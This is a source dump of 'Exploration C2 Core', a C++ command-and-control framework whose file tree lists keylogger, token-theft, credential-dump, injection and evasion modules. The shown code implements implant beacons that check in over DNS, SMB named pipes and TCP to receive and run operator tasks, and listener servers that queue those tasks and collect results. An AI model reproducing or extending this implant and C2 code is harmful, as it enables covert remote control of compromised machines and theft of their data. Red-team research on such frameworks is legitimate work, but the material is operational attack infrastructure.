├── LICENSE ├── README.md ├── beacon ├── Beacon.cpp ├── Beacon.hpp ├── BeaconDns.cpp ├── BeaconDns.hpp ├── BeaconGithub.cpp ├── BeaconGithub.hpp ├── BeaconHttp.cpp ├── BeaconHttp.hpp ├── BeaconSmb.cpp ├── BeaconSmb.hpp ├── BeaconTcp.cpp ├── BeaconTcp.hpp ├── CMakeLists.txt └── tests │ ├── CMakeLists.txt │ ├── testBeacon.cpp │ ├── testBeaconDns.cpp │ ├── testBeaconGithub.cpp │ ├── testBeaconHttp.cpp │ ├── testBeaconSmb.cpp │ └── testBeaconTcp.cpp ├── listener ├── Listener.cpp ├── Listener.hpp ├── ListenerDns.cpp ├── ListenerDns.hpp ├── ListenerGithub.cpp ├── ListenerGithub.hpp ├── ListenerHttp.cpp ├── ListenerHttp.hpp ├── ListenerSmb.cpp ├── ListenerSmb.hpp ├── ListenerTcp.cpp ├── ListenerTcp.hpp ├── Session.hpp └── tests │ ├── CMakeLists.txt │ ├── testListener.cpp │ ├── testListenerDns.cpp │ ├── testListenerGithub.cpp │ ├── testListenerHttp.cpp │ ├── testListenerSmb.cpp │ └── testListenerTcp.cpp └── modules ├── AssemblyExec ├── AssemblyExec.cpp ├── AssemblyExec.hpp ├── CMakeLists.txt └── tests │ ├── testOutputWriter.cpp │ └── testsAssemblyExec.cpp ├── CMakeLists.txt ├── Cat ├── CMakeLists.txt ├── Cat.cpp ├── Cat.hpp └── tests │ └── testsCat.cpp ├── ChangeDirectory ├── CMakeLists.txt ├── ChangeDirectory.cpp ├── ChangeDirectory.hpp └── tests │ └── testsChangeDirectory.cpp ├── Chisel ├── CMakeLists.txt ├── Chisel.cpp ├── Chisel.hpp └── tests │ └── testsChisel.cpp ├── CoffLoader ├── CMakeLists.txt ├── CoffLoader.cpp ├── CoffLoader.hpp └── tests │ └── testsCoffLoader.cpp ├── DotnetExec ├── AssemblyManager.cpp ├── AssemblyManager.hpp ├── AssemblyStore.cpp ├── AssemblyStore.hpp ├── CMakeLists.txt ├── DotnetExec.cpp ├── DotnetExec.hpp ├── HostControl.cpp ├── HostControl.hpp ├── HostMalloc.cpp ├── HostMalloc.hpp ├── MemoryManager.cpp ├── MemoryManager.hpp ├── PowerShellRunner │ ├── compile.bat │ └── rdm.cs └── tests │ ├── PowerShellRunner.dll │ ├── project.rc │ └── testsDotnetExec.cpp ├── Download ├── CMakeLists.txt ├── Download.cpp ├── Download.hpp └── tests │ └── testsDownload.cpp ├── Evasion ├── CMakeLists.txt ├── Evasion.cpp ├── Evasion.hpp ├── structs.hpp └── tests │ └── testsEvasion.cpp ├── Inject ├── CMakeLists.txt ├── Inject.cpp ├── Inject.hpp └── tests │ └── testsInject.cpp ├── KerberosUseTicket ├── CMakeLists.txt ├── KerberosUseTicket.cpp ├── KerberosUseTicket.hpp └── tests │ └── testsKerberosUseTicket.cpp ├── KeyLogger ├── CMakeLists.txt ├── KeyLogger.cpp ├── KeyLogger.hpp └── tests │ └── testsKeyLogger.cpp ├── ListDirectory ├── CMakeLists.txt ├── ListDirectory.cpp ├── ListDirectory.hpp └── tests │ └── testsListDirectory.cpp ├── ListProcesses ├── CMakeLists.txt ├── ListProcesses.cpp ├── ListProcesses.hpp └── tests │ └── testsListProcesses.cpp ├── MakeToken ├── CMakeLists.txt ├── MakeToken.cpp ├── MakeToken.hpp └── tests │ └── testsMakeToken.cpp ├── MiniDump ├── CMakeLists.txt ├── MiniDump.cpp ├── MiniDump.hpp └── tests │ └── testsMiniDump.cpp ├── ModuleCmd ├── C2Message.hpp ├── CMakeLists.txt ├── Common.hpp ├── CommonCommand.hpp ├── ModuleCmd.hpp ├── README.md ├── Tools.hpp ├── hwbp.cpp ├── hwbp.hpp ├── include.hpp ├── peb.cpp ├── peb.hpp ├── syscall.cpp ├── syscall.hpp ├── syscall.x64.asm ├── syscall.x64.obj └── tests │ ├── testsHwbp.cpp │ ├── testsModuleCmd.cpp │ ├── testsSyscall.cpp │ └── testsTools.cpp ├── ModuleTemplate ├── CMakeLists.txt ├── ModuleTemplate.cpp ├── ModuleTemplate.hpp └── tests │ └── testsModuleTemplate.cpp ├── Powershell ├── CMakeLists.txt ├── PowerShellRunner │ ├── .gitignore │ ├── New-PowerShellRunnerHeader.ps1 │ ├── PowerShellRunner.cs │ ├── System.Management.Automation.dll │ └── compile.bat ├── Powershell.cpp ├── Powershell.hpp └── tests │ └── testsPowershell.cpp ├── PrintWorkingDirectory ├── CMakeLists.txt ├── PrintWorkingDirectory.cpp ├── PrintWorkingDirectory.hpp └── tests │ └── testsPrintWorkingDirectory.cpp ├── PsExec ├── CMakeLists.txt ├── PsExec.cpp ├── PsExec.hpp └── tests │ └── testsPsExec.cpp ├── PwSh ├── AssemblyManager.cpp ├── AssemblyManager.hpp ├── AssemblyStore.cpp ├── AssemblyStore.hpp ├── CMakeLists.txt ├── HostControl.cpp ├── HostControl.hpp ├── HostMalloc.cpp ├── HostMalloc.hpp ├── MemoryManager.cpp ├── MemoryManager.hpp ├── PowerShellRunner │ ├── System.Management.Automation.dll │ ├── compile.bat │ ├── rdm.cs │ ├── rdm.dll │ └── rdm.pdb ├── PwSh.cpp ├── PwSh.hpp └── tests │ ├── rdm.dll │ ├── test.ps1 │ └── testsPwSh.cpp ├── Rev2self ├── CMakeLists.txt ├── Rev2self.cpp ├── Rev2self.hpp └── tests │ └── testsRev2self.cpp ├── Run ├── CMakeLists.txt ├── Run.cpp ├── Run.hpp └── tests │ └── testsRun.cpp ├── ScreenShot ├── CMakeLists.txt ├── HandleGuards.h ├── ScreenShooter.cpp ├── ScreenShooter.h ├── ScreenShot.cpp ├── ScreenShot.hpp └── tests │ └── testsScreenShot.cpp ├── Script ├── CMakeLists.txt ├── Script.cpp ├── Script.hpp └── tests │ └── testsScript.cpp ├── SpawnAs ├── CMakeLists.txt ├── SpawnAs.cpp ├── SpawnAs.hpp └── tests │ └── testsSpawnAs.cpp ├── StealToken ├── CMakeLists.txt ├── StealToken.cpp ├── StealToken.hpp └── tests │ └── testsStealToken.cpp ├── Tree ├── CMakeLists.txt ├── Tree.cpp ├── Tree.hpp └── tests │ └── testsTree.cpp ├── Upload ├── CMakeLists.txt ├── Upload.cpp ├── Upload.hpp └── tests │ └── testsUpload.cpp └── WmiExec ├── CMakeLists.txt ├── WmiExec.cpp ├── WmiExec.hpp └── tests └── testsWmiExec.cpp /LICENSE: -------------------------------------------------------------------------------- 1 | Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: 2 | 3 | The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. 4 | 5 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. 6 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Exploration C2 Core 2 | 3 | ## Overview 4 | 5 | **Exploration C2 Core** is the foundational submodule shared across all components of the Exploration Command and Control (C2) framework, including [C2Implant](https://github.com/maxDcb/C2Implant), [C2LinuxImplant](https://github.com/maxDcb/C2LinuxImplant) and [C2TeamServer](https://github.com/maxDcb/C2TeamServer). Written in C++, it provides core data structures, communication protocols, and serialization mechanisms to enable modular and cross-platform development of C2 components. 6 | 7 | This repository is intended to be used as a dependency in both Windows and Linux builds of the Exploration C2 framework. 8 | 9 | ## Features 10 | 11 | - Unified message format across all C2 transport channels 12 | - Serialization and deserialization of C2 messages using [nlohmann/json](https://github.com/nlohmann/json) 13 | - Utilities for modules development 14 | - Designed for portability and reuse across multiple platforms 15 | 16 | ## Dependencies 17 | 18 | - [nlohmann/json](https://github.com/nlohmann/json): Modern C++ JSON serialization library 19 | - [cpp-base64](https://github.com/ReneNyffenegger/cpp-base64): Lightweight base64 encoding/decoding 20 | 21 | ## Prerequisites 22 | 23 | - CMake 3.24 24 | - C++17 compatible compiler (e.g., `g++`, or MSVC) 25 | 26 | This repo is not supposed to be built on its own. 27 | -------------------------------------------------------------------------------- /beacon/Beacon.hpp: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include "../listener/ListenerTcp.hpp" 4 | #include "../listener/ListenerSmb.hpp" 5 | #include "SocksTunnelClient.hpp" 6 | 7 | #ifdef __linux__ 8 | #elif _WIN32 9 | #include 10 | #endif 11 | 12 | #include 13 | #include 14 | #include 15 | #include 16 | 17 | #include "Common.hpp" 18 | 19 | 20 | class Beacon 21 | { 22 | public: 23 | Beacon(); 24 | virtual ~Beacon(){}; 25 | 26 | bool initConfig(const std::string& config); 27 | void run(); 28 | 29 | protected: 30 | virtual void checkIn() = 0; 31 | bool runTasks(); 32 | void sleep(); 33 | 34 | bool execInstruction(C2Message& c2Message, C2Message& c2RetMessage); 35 | bool cmdToTasks(const std::string& input); 36 | bool taskResultsToCmd(std::string& output); 37 | 38 | int m_aliveTimerMs; 39 | 40 | std::string m_beaconHash; 41 | std::string m_hostname; 42 | std::string m_username; 43 | std::string m_arch; 44 | std::string m_privilege; 45 | std::string m_os; 46 | std::string m_ips; 47 | std::string m_pid; 48 | std::string m_additionalInfo; 49 | 50 | std::queue m_tasks; 51 | std::queue m_taskResult; 52 | 53 | private: 54 | std::string m_key; 55 | nlohmann::json m_modulesConfig; 56 | 57 | std::vector> m_moduleCmd; 58 | std::vector> m_listeners; 59 | std::vector> m_socksTunnelClient; 60 | 61 | }; 62 | -------------------------------------------------------------------------------- /beacon/BeaconDns.cpp: -------------------------------------------------------------------------------- 1 | #include "BeaconDns.hpp" 2 | 3 | using namespace std; 4 | using namespace dns; 5 | 6 | 7 | BeaconDns::BeaconDns(std::string& config, const std::string& dnsServer, const std::string& domain) 8 | : Beacon() 9 | { 10 | // beacon and modules config 11 | initConfig(config); 12 | 13 | m_client=new Client(dnsServer, domain); 14 | } 15 | 16 | 17 | BeaconDns::~BeaconDns() 18 | { 19 | delete m_client; 20 | } 21 | 22 | 23 | void BeaconDns::checkIn() 24 | { 25 | SPDLOG_DEBUG("initConnection"); 26 | 27 | std::string output; 28 | taskResultsToCmd(output); 29 | 30 | SPDLOG_DEBUG("sending output.size {0}", std::to_string(output.size())); 31 | 32 | m_client->sendMessage(output); 33 | 34 | std::string input = m_client->getMsg(); 35 | while(!input.empty()) 36 | { 37 | SPDLOG_DEBUG("received input.size {0}", std::to_string(input.size())); 38 | cmdToTasks(input); 39 | input = m_client->getMsg(); 40 | } 41 | } 42 | 43 | 44 | 45 | 46 | 47 | -------------------------------------------------------------------------------- /beacon/BeaconDns.hpp: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | #include "Beacon.hpp" 5 | 6 | 7 | class BeaconDns : public Beacon 8 | { 9 | 10 | public: 11 | BeaconDns(std::string& config, const std::string& dnsServer, const std::string& domain); 12 | ~BeaconDns(); 13 | 14 | private: 15 | void checkIn(); 16 | 17 | dns::Client* m_client; 18 | }; 19 | -------------------------------------------------------------------------------- /beacon/BeaconGithub.hpp: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include "Beacon.hpp" 4 | 5 | 6 | class BeaconGithub : public Beacon 7 | { 8 | 9 | public: 10 | BeaconGithub(std::string& config, const std::string& project, const std::string& token); 11 | ~BeaconGithub(); 12 | 13 | void checkIn(); 14 | 15 | private: 16 | std::string m_project; 17 | std::string m_token; 18 | 19 | #ifdef _WIN32 20 | int HandleRequest(const std::string& domain, const std::string& url); 21 | 22 | int GithubPost(const std::string& domain, const std::string& url, const std::string& data, std::string &response); 23 | int GithubGet(const std::string& domain, const std::string& url, std::string &response); 24 | #endif 25 | 26 | }; 27 | -------------------------------------------------------------------------------- /beacon/BeaconHttp.hpp: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include "Beacon.hpp" 4 | 5 | 6 | class BeaconHttp : public Beacon 7 | { 8 | 9 | public: 10 | BeaconHttp(std::string& config, std::string& ip, int port, bool https=false); 11 | ~BeaconHttp(); 12 | 13 | void checkIn(); 14 | 15 | private: 16 | std::string m_ip; 17 | int m_port; 18 | 19 | nlohmann::json m_beaconHttpConfig; 20 | bool m_isHttps; 21 | 22 | }; 23 | -------------------------------------------------------------------------------- /beacon/BeaconSmb.cpp: -------------------------------------------------------------------------------- 1 | #include "BeaconSmb.hpp" 2 | 3 | using namespace std; 4 | using namespace PipeHandler; 5 | 6 | 7 | BeaconSmb::BeaconSmb(std::string& config, const std::string& ip, const std::string& pipeName) 8 | : Beacon() 9 | { 10 | // beacon and modules config 11 | initConfig(config); 12 | 13 | m_clientSmb = new PipeHandler::Client(ip, pipeName); 14 | } 15 | 16 | 17 | BeaconSmb::~BeaconSmb() 18 | { 19 | delete m_clientSmb; 20 | } 21 | 22 | 23 | void BeaconSmb::checkIn() 24 | { 25 | SPDLOG_DEBUG("initConnection"); 26 | while(!m_clientSmb->initConnection()) 27 | { 28 | std::this_thread::sleep_for(std::chrono::milliseconds(333)); 29 | SPDLOG_DEBUG("initConnection"); 30 | } 31 | 32 | std::string output; 33 | taskResultsToCmd(output); 34 | 35 | SPDLOG_DEBUG("sending output.size {0}", std::to_string(output.size())); 36 | 37 | bool res = m_clientSmb->sendData(output); 38 | if(res) 39 | { 40 | string input; 41 | while(input.empty()) 42 | { 43 | res=m_clientSmb->receiveData(input); 44 | std::this_thread::sleep_for(std::chrono::milliseconds(50)); 45 | } 46 | if(res) 47 | { 48 | SPDLOG_DEBUG("received input.size {0}", std::to_string(input.size())); 49 | 50 | if(!input.empty()) 51 | { 52 | cmdToTasks(input); 53 | } 54 | } 55 | else 56 | { 57 | SPDLOG_DEBUG("Receive failed"); 58 | } 59 | } 60 | else 61 | SPDLOG_DEBUG("Send failed"); 62 | 63 | 64 | m_clientSmb->closeConnection(); 65 | } 66 | 67 | -------------------------------------------------------------------------------- /beacon/BeaconSmb.hpp: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | #include "Beacon.hpp" 5 | 6 | 7 | class BeaconSmb : public Beacon 8 | { 9 | 10 | public: 11 | BeaconSmb(std::string& config, const std::string& ip, const std::string& pipeName); 12 | ~BeaconSmb(); 13 | 14 | private: 15 | void checkIn(); 16 | 17 | PipeHandler::Client* m_clientSmb; 18 | 19 | }; 20 | -------------------------------------------------------------------------------- /beacon/BeaconTcp.cpp: -------------------------------------------------------------------------------- 1 | #include "BeaconTcp.hpp" 2 | 3 | using namespace std; 4 | 5 | 6 | BeaconTcp::BeaconTcp(std::string& config, std::string& ip, int port) 7 | : Beacon() 8 | { 9 | m_ip = ip; 10 | m_port = port; 11 | 12 | // beacon and modules config 13 | initConfig(config); 14 | 15 | m_client=new SocketTunnelClient(); 16 | } 17 | 18 | 19 | BeaconTcp::~BeaconTcp() 20 | { 21 | delete m_client; 22 | } 23 | 24 | 25 | int BeaconTcp::splitInPacket(const std::string& input, std::vector& output) 26 | { 27 | std::string delimiter = ""; 28 | size_t pos = 0; 29 | size_t start = 0; 30 | 31 | while ((pos = input.find(delimiter, start)) != std::string::npos) { 32 | output.push_back(input.substr(start, pos - start)); 33 | start = pos + delimiter.length(); 34 | } 35 | 36 | if (start < input.length()) 37 | { 38 | output.push_back(input.substr(start)); 39 | } 40 | 41 | return output.size(); 42 | } 43 | 44 | 45 | void BeaconTcp::checkIn() 46 | { 47 | int ret = m_client->init(m_ip, m_port); 48 | 49 | if(ret) 50 | { 51 | std::string output; 52 | taskResultsToCmd(output); 53 | 54 | output.append(""); 55 | 56 | std::string input; 57 | int res = m_client->process(output, input); 58 | 59 | if(res<0) 60 | { 61 | m_client->reset(); 62 | } 63 | else if(!input.empty()) 64 | { 65 | std::vector trames; 66 | splitInPacket(input, trames); 67 | 68 | for(int i=0; i 4 | #include "Beacon.hpp" 5 | 6 | 7 | class BeaconTcp : public Beacon 8 | { 9 | 10 | public: 11 | BeaconTcp(std::string& config, std::string& ip, int port); 12 | ~BeaconTcp(); 13 | 14 | private: 15 | std::string m_ip; 16 | int m_port; 17 | 18 | void checkIn(); 19 | 20 | int splitInPacket(const std::string& input, std::vector& output); 21 | 22 | SocketTunnelClient* m_client; 23 | }; 24 | -------------------------------------------------------------------------------- /beacon/tests/testBeacon.cpp: -------------------------------------------------------------------------------- 1 | #include "Beacon.hpp" 2 | 3 | 4 | class BeaconTester : public Beacon 5 | { 6 | 7 | public: 8 | BeaconTester() 9 | : Beacon() 10 | { 11 | 12 | } 13 | 14 | ~BeaconTester() 15 | { 16 | 17 | } 18 | 19 | void checkIn() 20 | { 21 | } 22 | 23 | void cmdToTasksTest(const std::string& input) 24 | { 25 | cmdToTasks(input); 26 | } 27 | 28 | void taskResultsToCmdTest(std::string& output) 29 | { 30 | taskResultsToCmd(output); 31 | } 32 | 33 | void execInstructionTest(std::string& output) 34 | { 35 | // execInstruction(); 36 | } 37 | 38 | 39 | 40 | }; 41 | 42 | 43 | 44 | int main() 45 | { 46 | // 47 | // Constructor tests 48 | // 49 | { 50 | BeaconTester beacon; 51 | } 52 | 53 | // 54 | // cmdToTasksTest tests 55 | // 56 | { 57 | BeaconTester beacon; 58 | 59 | std::string input = "test string to take"; 60 | beacon.cmdToTasksTest(input); 61 | } 62 | { 63 | BeaconTester beacon; 64 | 65 | std::string data = "test string to take"; 66 | std::string input = base64_encode(data); 67 | beacon.cmdToTasksTest(input); 68 | } 69 | 70 | // 71 | // runTasks tests 72 | // 73 | 74 | // 75 | // taskResultsToCmd tests 76 | // 77 | 78 | // 79 | // execInstruction tests 80 | // 81 | 82 | // 83 | // sleep tests 84 | // 85 | } -------------------------------------------------------------------------------- /beacon/tests/testBeaconDns.cpp: -------------------------------------------------------------------------------- 1 | #include "BeaconDns.hpp" 2 | 3 | int main() 4 | { 5 | 6 | } -------------------------------------------------------------------------------- /beacon/tests/testBeaconGithub.cpp: -------------------------------------------------------------------------------- 1 | #define CPPHTTPLIB_OPENSSL_SUPPORT 2 | #include "BeaconGithub.hpp" 3 | 4 | int main() 5 | { 6 | 7 | } -------------------------------------------------------------------------------- /beacon/tests/testBeaconHttp.cpp: -------------------------------------------------------------------------------- 1 | #define CPPHTTPLIB_OPENSSL_SUPPORT 2 | #include "BeaconHttp.hpp" 3 | 4 | int main() 5 | { 6 | 7 | } -------------------------------------------------------------------------------- /beacon/tests/testBeaconSmb.cpp: -------------------------------------------------------------------------------- 1 | #include "BeaconSmb.hpp" 2 | 3 | int main() 4 | { 5 | 6 | } -------------------------------------------------------------------------------- /beacon/tests/testBeaconTcp.cpp: -------------------------------------------------------------------------------- 1 | #include "BeaconTcp.hpp" 2 | 3 | int main() 4 | { 5 | 6 | } -------------------------------------------------------------------------------- /listener/Listener.hpp: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | #include "CommonCommand.hpp" 9 | #include "Session.hpp" 10 | #include "Common.hpp" 11 | 12 | #ifdef BUILD_TEAMSERVER 13 | #include "spdlog/spdlog.h" 14 | #include "spdlog/sinks/stdout_color_sinks.h" 15 | #include "spdlog/sinks/rotating_file_sink.h" 16 | #include "spdlog/sinks/basic_file_sink.h" 17 | #endif 18 | 19 | class Listener 20 | { 21 | 22 | public: 23 | Listener(const std::string& param1, const std::string& param2, const std::string& type); 24 | virtual ~Listener(){}; 25 | 26 | const std::string & getParam1(); 27 | const std::string & getParam2(); 28 | const std::string & getType(); 29 | const std::string & getListenerHash(); 30 | const std::string & getListenerMetadata() 31 | { 32 | return m_metadata; 33 | } 34 | int getNumberOfSession(); 35 | 36 | // Session 37 | std::shared_ptr getSessionPtr(int idxSession); 38 | std::shared_ptr getSessionPtr(std::string& beaconHash, std::string& listenerHash); 39 | bool isSessionExist(const std::string& beaconHash, const std::string& listenerHash); 40 | bool updateSessionPoofOfLife(std::string& beaconHash, std::string& lastProofOfLife); 41 | bool markSessionKilled(std::string& beaconhash); 42 | 43 | // Session Listener 44 | bool addSessionListener(const std::string& beaconHash, const std::string& listenerHash, const std::string& type, const std::string& param1, const std::string& param2); 45 | bool rmSessionListener(const std::string& beaconHash, const std::string& listenerHash); 46 | std::vector getSessionListenerInfos(); 47 | 48 | // Task & Task Result 49 | void queueTask(const std::string& beaconHash, const C2Message& c2Message); 50 | bool addTask(const C2Message& task, const std::string& beaconHash); 51 | C2Message getTask(std::string& beaconHash); 52 | bool addTaskResult(const C2Message& taskResult, std::string& beaconHash); 53 | C2Message getTaskResult(const std::string& beaconHash); 54 | 55 | // SocksSession 56 | bool isSocksSessionExist(std::string& beaconHash, std::string& listenerHash); 57 | bool addSocksTaskResult(const C2Message& taskResult, std::string& beaconHash); 58 | C2Message getSocksTaskResult(const std::string& beaconHash); 59 | 60 | // set the listener as primary (meaning launch from the teamserver) 61 | void setIsPrimary() 62 | { 63 | m_isPrimary=true; 64 | } 65 | 66 | protected: 67 | bool execInstruction(std::vector& splitedCmd, C2Message& c2Message); 68 | bool handleMessages(const std::string& input, std::string& output); 69 | 70 | std::string m_key; 71 | std::string m_param1; 72 | std::string m_param2; 73 | std::string m_type; 74 | bool m_isPrimary; 75 | 76 | std::string m_listenerHash; 77 | std::string m_hostname; 78 | 79 | std::string m_metadata; 80 | 81 | std::vector> m_sessions; 82 | std::vector> m_socksSessions; 83 | 84 | #ifdef BUILD_TEAMSERVER 85 | std::shared_ptr m_logger; 86 | #endif 87 | 88 | private: 89 | std::mutex m_mutex; 90 | }; 91 | -------------------------------------------------------------------------------- /listener/ListenerDns.cpp: -------------------------------------------------------------------------------- 1 | #include "ListenerDns.hpp" 2 | 3 | 4 | 5 | using namespace std; 6 | using json = nlohmann::json; 7 | 8 | 9 | ListenerDns::ListenerDns(const std::string& domainToResolve, int port) 10 | : Listener(domainToResolve, std::to_string(port), ListenerDnsType) 11 | , m_serverDns(port, domainToResolve) 12 | { 13 | m_listenerHash = random_string(SizeListenerHash); 14 | 15 | json metadata; 16 | metadata["1"] = ListenerDnsType; 17 | metadata["2"] = domainToResolve; 18 | metadata["3"] = std::to_string(port); 19 | m_metadata = metadata.dump(); 20 | 21 | m_serverDns.launch(); 22 | 23 | m_stopThread=false; 24 | m_dnsListener = std::make_unique(&ListenerDns::lauchDnsListener, this); 25 | } 26 | 27 | 28 | ListenerDns::~ListenerDns() 29 | { 30 | m_serverDns.stop(); 31 | 32 | m_stopThread=true; 33 | m_dnsListener->join(); 34 | } 35 | 36 | 37 | void ListenerDns::lauchDnsListener() 38 | { 39 | try 40 | { 41 | while(1) 42 | { 43 | if(m_stopThread) 44 | return; 45 | 46 | SPDLOG_DEBUG("receiving"); 47 | 48 | string input = m_serverDns.getMsg(); 49 | 50 | SPDLOG_DEBUG("received input.size {0}",std::to_string(input.size())); 51 | 52 | if(!input.empty()) 53 | { 54 | string output; 55 | bool ret = handleMessages(input, output); 56 | 57 | SPDLOG_DEBUG("sending output.size {0}", std::to_string(output.size())); 58 | 59 | if(!output.empty()) 60 | m_serverDns.setMsg(output); 61 | } 62 | 63 | std::this_thread::sleep_for(std::chrono::milliseconds(1000)); 64 | } 65 | } 66 | catch (...) 67 | { 68 | return; 69 | } 70 | 71 | return; 72 | } 73 | 74 | -------------------------------------------------------------------------------- /listener/ListenerDns.hpp: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | #include 5 | #include "Listener.hpp" 6 | 7 | 8 | class ListenerDns : public Listener 9 | { 10 | 11 | public: 12 | ListenerDns(const std::string& domainToResolve, int port); 13 | ~ListenerDns(); 14 | 15 | private: 16 | void lauchDnsListener(); 17 | 18 | dns::Server m_serverDns; 19 | 20 | bool m_stopThread; 21 | std::unique_ptr m_dnsListener; 22 | }; 23 | -------------------------------------------------------------------------------- /listener/ListenerGithub.hpp: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include "Listener.hpp" 4 | 5 | #define CPPHTTPLIB_OPENSSL_SUPPORT 6 | #include "httplib.h" 7 | 8 | 9 | class ListenerGithub : public Listener 10 | { 11 | 12 | public: 13 | ListenerGithub(const std::string& project, const std::string& token); 14 | ~ListenerGithub(); 15 | 16 | private: 17 | void checkGithubIssues(); 18 | int HandleCheckIn(const std::string& req, std::string& res); 19 | 20 | std::string m_project; 21 | std::string m_token; 22 | 23 | bool m_isRunning; 24 | std::unique_ptr m_githubFetcher; 25 | }; 26 | -------------------------------------------------------------------------------- /listener/ListenerHttp.hpp: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include "Listener.hpp" 4 | 5 | #define CPPHTTPLIB_OPENSSL_SUPPORT 6 | #include "httplib.h" 7 | 8 | 9 | class ListenerHttp : public Listener 10 | { 11 | 12 | public: 13 | ListenerHttp(const std::string& ip, int localport, const nlohmann::json& config, bool isHttps=false); 14 | ~ListenerHttp(); 15 | 16 | int init(); 17 | 18 | private: 19 | void lauchHttpServ(); 20 | 21 | int HandleCheckIn(const httplib::Request& req, httplib::Response& res); 22 | int HandleCheckIn(const std::string& requestData, httplib::Response& res); 23 | 24 | std::string m_host; 25 | int m_port; 26 | bool m_isHttps; 27 | nlohmann::json m_config; 28 | 29 | std::unique_ptr m_svr; 30 | std::unique_ptr m_httpServ; 31 | }; 32 | -------------------------------------------------------------------------------- /listener/ListenerSmb.cpp: -------------------------------------------------------------------------------- 1 | #include "ListenerSmb.hpp" 2 | 3 | 4 | using namespace std; 5 | using json = nlohmann::json; 6 | 7 | 8 | // Initializes an SMB listener that can be contacted at the specified IP address or domain and named pipe. 9 | // - Generates a random listener hash for identification. 10 | // - Prepares metadata containing the listener type, IP, and pipe name, serialized as a JSON string. 11 | // - Creates a named pipe server using the specified pipe name to handle SMB communication. 12 | // - Launches the SMB server handler in a separate thread to listen for incoming connections. 13 | ListenerSmb::ListenerSmb(const std::string& ip, const std::string& pipeName) 14 | : Listener(ip, pipeName, ListenerSmbType) 15 | { 16 | m_listenerHash = random_string(SizeListenerHash); 17 | 18 | json metadata; 19 | metadata["1"] = ListenerSmbType; 20 | metadata["2"] = ip; 21 | metadata["3"] = pipeName; 22 | m_metadata = metadata.dump(); 23 | 24 | m_serverSmb = new PipeHandler::Server(pipeName); 25 | 26 | m_stopThread=false; 27 | m_smbServ = std::make_unique(&ListenerSmb::lauchSmbServ, this); 28 | } 29 | 30 | 31 | ListenerSmb::~ListenerSmb() 32 | { 33 | m_stopThread=true; 34 | m_smbServ->join(); 35 | 36 | delete m_serverSmb; 37 | } 38 | 39 | 40 | void ListenerSmb::lauchSmbServ() 41 | { 42 | try 43 | { 44 | while(1) 45 | { 46 | if(m_stopThread) 47 | return; 48 | 49 | m_serverSmb->initServer(); 50 | 51 | SPDLOG_DEBUG("receiving"); 52 | 53 | bool res = false; 54 | string input; 55 | while(input.empty()) 56 | { 57 | res = m_serverSmb->receiveData(input); 58 | std::this_thread::sleep_for(std::chrono::milliseconds(50)); 59 | } 60 | 61 | SPDLOG_DEBUG("received input.size {0}", std::to_string(input.size())); 62 | 63 | if(res && !input.empty()) 64 | { 65 | string output; 66 | bool ret = handleMessages(input, output); 67 | 68 | SPDLOG_DEBUG("sending output.size {0}", std::to_string(output.size())); 69 | 70 | res = m_serverSmb->sendData(output); 71 | if(res) 72 | { 73 | SPDLOG_DEBUG("sent"); 74 | } 75 | } 76 | } 77 | } 78 | catch (...) 79 | { 80 | return; 81 | } 82 | 83 | return; 84 | } 85 | 86 | -------------------------------------------------------------------------------- /listener/ListenerSmb.hpp: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | #include "Listener.hpp" 5 | 6 | 7 | class ListenerSmb : public Listener 8 | { 9 | 10 | public: 11 | ListenerSmb(const std::string& ip, const std::string& pipeName); 12 | ~ListenerSmb(); 13 | 14 | private: 15 | void lauchSmbServ(); 16 | 17 | PipeHandler::Server* m_serverSmb; 18 | 19 | bool m_stopThread; 20 | std::unique_ptr m_smbServ; 21 | }; 22 | -------------------------------------------------------------------------------- /listener/ListenerTcp.hpp: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | #include "Listener.hpp" 5 | 6 | 7 | class ListenerTcp : public Listener 8 | { 9 | 10 | public: 11 | ListenerTcp(const std::string& ip, int localport); 12 | ~ListenerTcp(); 13 | 14 | int init(); 15 | 16 | private: 17 | void lauchTcpServ(); 18 | int splitInPacket(const std::string& input, std::vector& output); 19 | 20 | SocketServer* m_serverTcp; 21 | 22 | int m_port; 23 | 24 | bool m_stopThread; 25 | std::unique_ptr m_tcpServ; 26 | }; 27 | -------------------------------------------------------------------------------- /listener/tests/testListener.cpp: -------------------------------------------------------------------------------- 1 | #include "Listener.hpp" 2 | 3 | int main() 4 | { 5 | 6 | } -------------------------------------------------------------------------------- /listener/tests/testListenerDns.cpp: -------------------------------------------------------------------------------- 1 | #include "ListenerDns.hpp" 2 | 3 | int main() 4 | { 5 | 6 | } -------------------------------------------------------------------------------- /listener/tests/testListenerGithub.cpp: -------------------------------------------------------------------------------- 1 | #include "ListenerGithub.hpp" 2 | 3 | int main() 4 | { 5 | 6 | } -------------------------------------------------------------------------------- /listener/tests/testListenerHttp.cpp: -------------------------------------------------------------------------------- 1 | #include "ListenerHttp.hpp" 2 | 3 | int main() 4 | { 5 | 6 | } 